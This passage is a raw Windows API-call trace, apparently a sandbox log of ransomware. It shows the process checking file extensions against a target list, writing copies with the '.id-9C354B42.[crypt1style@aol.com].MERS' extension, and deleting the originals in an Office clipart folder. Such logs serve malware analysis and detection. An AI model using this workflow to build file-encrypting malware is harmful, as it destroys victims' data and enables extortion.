(lpString=".doc") returned 4 [0266.957] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.957] lstrlenW (lpString=".docx") returned 5 [0266.958] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.958] lstrlenW (lpString=".pdf") returned 4 [0266.958] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.958] lstrlenW (lpString=".xls") returned 4 [0266.958] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.958] lstrlenW (lpString=".xlsx") returned 5 [0266.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.958] lstrlenW (lpString=".ppt") returned 4 [0266.958] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.958] lstrlenW (lpString=".zip") returned 4 [0266.958] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.958] lstrlenW (lpString=".rar") returned 4 [0266.958] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.958] lstrlenW (lpString=".bz2") returned 4 [0266.958] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.958] lstrlenW (lpString=".7z") returned 3 [0266.958] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.958] lstrlenW (lpString=".dbf") returned 4 [0266.958] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.958] lstrlenW (lpString=".1cd") returned 4 [0266.958] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0266.958] lstrlenW (lpString=".jpg") returned 4 [0266.958] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.958] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.958] lstrlenW (lpString="AG00172_.GIF") returned 12 [0266.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0266.975] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=4390) returned 1 [0266.975] CloseHandle (hObject=0x3a4) returned 1 [0266.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0267.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0267.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0267.004] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0267.004] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0267.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0267.005] GetLastError () returned 0x0 [0267.005] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1126, lpOverlapped=0x0) returned 1 [0267.075] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1130, lpOverlapped=0x0) returned 1 [0267.306] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0267.306] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.306] SetEndOfFile (hFile=0x3c0) returned 1 [0267.846] CloseHandle (hObject=0x3c0) returned 1 [0267.974] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0267.974] SetEndOfFile (hFile=0x3a0) returned 1 [0268.043] CloseHandle (hObject=0x3a0) returned 1 [0268.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0268.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.224] lstrlenW (lpString=".doc") returned 4 [0268.224] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.224] lstrlenW (lpString=".docx") returned 5 [0268.224] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.224] lstrlenW (lpString=".pdf") returned 4 [0268.224] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.224] lstrlenW (lpString=".xls") returned 4 [0268.224] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.224] lstrlenW (lpString=".xlsx") returned 5 [0268.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.224] lstrlenW (lpString=".ppt") returned 4 [0268.224] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.224] lstrlenW (lpString=".zip") returned 4 [0268.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString=".rar") returned 4 [0268.225] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString=".bz2") returned 4 [0268.225] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.225] lstrlenW (lpString=".7z") returned 3 [0268.225] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.225] lstrlenW (lpString=".dbf") returned 4 [0268.225] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.225] lstrlenW (lpString=".1cd") returned 4 [0268.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.225] lstrlenW (lpString=".jpg") returned 4 [0268.225] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.225] lstrlenW (lpString=".doc") returned 4 [0268.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.225] lstrlenW (lpString=".docx") returned 5 [0268.225] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.225] lstrlenW (lpString=".pdf") returned 4 [0268.225] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString=".xls") returned 4 [0268.225] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString=".xlsx") returned 5 [0268.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.225] lstrlenW (lpString=".ppt") returned 4 [0268.225] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.225] lstrlenW (lpString=".zip") returned 4 [0268.225] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString=".rar") returned 4 [0268.225] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.225] lstrlenW (lpString=".bz2") returned 4 [0268.225] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.226] lstrlenW (lpString=".7z") returned 3 [0268.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.226] lstrlenW (lpString=".dbf") returned 4 [0268.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.226] lstrlenW (lpString=".1cd") returned 4 [0268.226] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0268.226] lstrlenW (lpString=".jpg") returned 4 [0268.226] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.226] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.226] lstrlenW (lpString="AN00932_.WMF") returned 12 [0268.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0268.226] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=14428) returned 1 [0268.226] CloseHandle (hObject=0x384) returned 1 [0268.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0268.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0268.227] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.227] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.227] GetLastError () returned 0x0 [0268.227] ReadFile (in: hFile=0x384, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x385c, lpOverlapped=0x0) returned 1 [0268.472] WriteFile (in: hFile=0x3a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x3860, lpOverlapped=0x0) returned 1 [0268.473] ReadFile (in: hFile=0x384, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0268.473] WriteFile (in: hFile=0x3a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.473] SetEndOfFile (hFile=0x3a8) returned 1 [0268.473] CloseHandle (hObject=0x3a8) returned 1 [0268.473] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.473] SetEndOfFile (hFile=0x384) returned 1 [0268.475] CloseHandle (hObject=0x384) returned 1 [0268.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0268.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.515] lstrlenW (lpString=".doc") returned 4 [0268.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.515] lstrlenW (lpString=".docx") returned 5 [0268.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.515] lstrlenW (lpString=".pdf") returned 4 [0268.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.515] lstrlenW (lpString=".xls") returned 4 [0268.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.515] lstrlenW (lpString=".xlsx") returned 5 [0268.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.515] lstrlenW (lpString=".ppt") returned 4 [0268.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.515] lstrlenW (lpString=".zip") returned 4 [0268.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.515] lstrlenW (lpString=".rar") returned 4 [0268.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.515] lstrlenW (lpString=".bz2") returned 4 [0268.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.515] lstrlenW (lpString=".7z") returned 3 [0268.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.516] lstrlenW (lpString=".dbf") returned 4 [0268.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.516] lstrlenW (lpString=".1cd") returned 4 [0268.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.516] lstrlenW (lpString=".jpg") returned 4 [0268.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.516] lstrlenW (lpString=".doc") returned 4 [0268.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.516] lstrlenW (lpString=".docx") returned 5 [0268.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.516] lstrlenW (lpString=".pdf") returned 4 [0268.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.516] lstrlenW (lpString=".xls") returned 4 [0268.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.516] lstrlenW (lpString=".xlsx") returned 5 [0268.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.516] lstrlenW (lpString=".ppt") returned 4 [0268.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.517] lstrlenW (lpString=".zip") returned 4 [0268.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.517] lstrlenW (lpString=".rar") returned 4 [0268.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.517] lstrlenW (lpString=".bz2") returned 4 [0268.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.517] lstrlenW (lpString=".7z") returned 3 [0268.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.517] lstrlenW (lpString=".dbf") returned 4 [0268.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.517] lstrlenW (lpString=".1cd") returned 4 [0268.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0268.517] lstrlenW (lpString=".jpg") returned 4 [0268.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.517] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.517] lstrlenW (lpString="AN01173_.WMF") returned 12 [0268.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.526] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=26332) returned 1 [0268.526] CloseHandle (hObject=0x284) returned 1 [0268.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0268.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0268.529] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.529] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0268.529] GetLastError () returned 0x0 [0268.529] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x66dc, lpOverlapped=0x0) returned 1 [0268.632] WriteFile (in: hFile=0x384, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0268.633] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0268.633] WriteFile (in: hFile=0x384, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.633] SetEndOfFile (hFile=0x384) returned 1 [0268.639] CloseHandle (hObject=0x384) returned 1 [0268.639] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0268.639] SetEndOfFile (hFile=0x3b0) returned 1 [0268.641] CloseHandle (hObject=0x3b0) returned 1 [0268.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0268.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.834] lstrlenW (lpString=".doc") returned 4 [0268.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString=".docx") returned 5 [0268.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.835] lstrlenW (lpString=".pdf") returned 4 [0268.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString=".xls") returned 4 [0268.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.835] lstrlenW (lpString=".xlsx") returned 5 [0268.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.835] lstrlenW (lpString=".ppt") returned 4 [0268.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.835] lstrlenW (lpString=".zip") returned 4 [0268.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.835] lstrlenW (lpString=".rar") returned 4 [0268.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString=".bz2") returned 4 [0268.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString=".7z") returned 3 [0268.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.835] lstrlenW (lpString=".dbf") returned 4 [0268.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.835] lstrlenW (lpString=".1cd") returned 4 [0268.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.835] lstrlenW (lpString=".jpg") returned 4 [0268.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.835] lstrlenW (lpString=".doc") returned 4 [0268.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.835] lstrlenW (lpString=".docx") returned 5 [0268.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.836] lstrlenW (lpString=".pdf") returned 4 [0268.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.836] lstrlenW (lpString=".xls") returned 4 [0268.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.836] lstrlenW (lpString=".xlsx") returned 5 [0268.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.836] lstrlenW (lpString=".ppt") returned 4 [0268.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0268.836] lstrlenW 